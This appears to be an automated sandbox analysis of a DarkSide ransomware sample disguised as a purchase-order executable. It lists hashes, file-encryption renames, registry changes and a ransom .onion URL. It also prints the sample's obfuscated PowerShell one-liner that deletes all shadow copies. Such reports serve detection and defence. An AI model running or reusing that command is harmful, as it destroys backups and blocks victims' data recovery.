Analysis
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max time kernel
40s -
max time network
71s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
04-08-2021 17:54
Static task
static1
Behavioral task
behavioral1
Sample
PurchaseOrderPoster.bin.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
PurchaseOrderPoster.bin.exe
Resource
win10v20210408
General
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Target
PurchaseOrderPoster.bin.exe
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Size
30KB
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MD5
f00aded4c16c0e8c3b5adfc23d19c609
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SHA1
86ca4973a98072c32db97c9433c16d405e4154ac
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SHA256
4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a
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SHA512
a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf
Malware Config
Extracted
C:\\README.21b2020d.TXT
darkside
http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 18 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
PurchaseOrderPoster.bin.exedescription ioc process File renamed C:\Users\Admin\Pictures\CloseBlock.tiff => C:\Users\Admin\Pictures\CloseBlock.tiff.21b2020d PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\LimitSend.raw => C:\Users\Admin\Pictures\LimitSend.raw.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\UnblockDebug.raw.21b2020d PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\UnblockDebug.raw => C:\Users\Admin\Pictures\UnblockDebug.raw.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\CloseBlock.tiff.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\LimitSend.raw.21b2020d PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\StopPing.raw => C:\Users\Admin\Pictures\StopPing.raw.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\StopPing.raw.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\RestoreDisconnect.crw.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\CloseBlock.tiff PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\ConnectOut.png => C:\Users\Admin\Pictures\ConnectOut.png.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\ConnectOut.png.21b2020d PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\RestoreDisconnect.crw => C:\Users\Admin\Pictures\RestoreDisconnect.crw.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\GroupUnregister.tiff.21b2020d PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\CheckpointRename.raw => C:\Users\Admin\Pictures\CheckpointRename.raw.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\CheckpointRename.raw.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\GroupUnregister.tiff PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\GroupUnregister.tiff => C:\Users\Admin\Pictures\GroupUnregister.tiff.21b2020d PurchaseOrderPoster.bin.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
PurchaseOrderPoster.bin.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\21b2020d.BMP" PurchaseOrderPoster.bin.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\21b2020d.BMP" PurchaseOrderPoster.bin.exe -
Modifies Control Panel 1 IoCs
Processes:
PurchaseOrderPoster.bin.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallpaperStyle = "10" PurchaseOrderPoster.bin.exe -
Modifies registry class 5 IoCs
Processes:
PurchaseOrderPoster.bin.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\21b2020d.ico" PurchaseOrderPoster.bin.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d PurchaseOrderPoster.bin.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d\ = "21b2020d" PurchaseOrderPoster.bin.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon PurchaseOrderPoster.bin.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d PurchaseOrderPoster.bin.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exePurchaseOrderPoster.bin.exepid process 3816 powershell.exe 3816 powershell.exe 3816 powershell.exe 652 PurchaseOrderPoster.bin.exe 652 PurchaseOrderPoster.bin.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
PurchaseOrderPoster.bin.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 652 PurchaseOrderPoster.bin.exe Token: SeSecurityPrivilege 652 PurchaseOrderPoster.bin.exe Token: SeTakeOwnershipPrivilege 652 PurchaseOrderPoster.bin.exe Token: SeLoadDriverPrivilege 652 PurchaseOrderPoster.bin.exe Token: SeSystemProfilePrivilege 652 PurchaseOrderPoster.bin.exe Token: SeSystemtimePrivilege 652 PurchaseOrderPoster.bin.exe Token: SeProfSingleProcessPrivilege 652 PurchaseOrderPoster.bin.exe Token: SeIncBasePriorityPrivilege 652 PurchaseOrderPoster.bin.exe Token: SeCreatePagefilePrivilege 652 PurchaseOrderPoster.bin.exe Token: SeBackupPrivilege 652 PurchaseOrderPoster.bin.exe Token: SeRestorePrivilege 652 PurchaseOrderPoster.bin.exe Token: SeShutdownPrivilege 652 PurchaseOrderPoster.bin.exe Token: SeDebugPrivilege 652 PurchaseOrderPoster.bin.exe Token: SeSystemEnvironmentPrivilege 652 PurchaseOrderPoster.bin.exe Token: SeRemoteShutdownPrivilege 652 PurchaseOrderPoster.bin.exe Token: SeUndockPrivilege 652 PurchaseOrderPoster.bin.exe Token: SeManageVolumePrivilege 652 PurchaseOrderPoster.bin.exe Token: 33 652 PurchaseOrderPoster.bin.exe Token: 34 652 PurchaseOrderPoster.bin.exe Token: 35 652 PurchaseOrderPoster.bin.exe Token: 36 652 PurchaseOrderPoster.bin.exe Token: SeDebugPrivilege 3816 powershell.exe Token: SeBackupPrivilege 2848 vssvc.exe Token: SeRestorePrivilege 2848 vssvc.exe Token: SeAuditPrivilege 2848 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
PurchaseOrderPoster.bin.exedescription pid process target process PID 652 wrote to memory of 3816 652 PurchaseOrderPoster.bin.exe powershell.exe PID 652 wrote to memory of 3816 652 PurchaseOrderPoster.bin.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\PurchaseOrderPoster.bin.exe"C:\Users\Admin\AppData\Local\Temp\PurchaseOrderPoster.bin.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:652 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3816
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2848
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
010c219c46b4439bc787644989e20389
SHA1f3a63066ab4446458bd6417386777e39e09b9b25
SHA2562a7c264d94398912c720de578b6d959b2457582182b8f2cc98281f27ef6701aa
SHA512c6967d2a37b9a45f491138b638d99e5fa09ef38f680c887bfbc2336c683deae86f4d6626f6defc8c0aabccf545923a708df05825de8102086a8f333a58e74963
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MD5
d4a1d699ed1607bdaab63686e6889db0
SHA1ae73fb615fbe3a0c96c4903ebc8e3a5d24145d03
SHA2564059014b004bd2dabc208fd0cce4aa5508bd37f13b876553ecc4729bda764e44
SHA5124c48461a6dd350c58fbfae6572eadd03f4335630d0b7d0085642d01ac051f13d517b3f2e9d5fa3fa301f634ab017414f73311db4900cce030905c92bf6c7b49a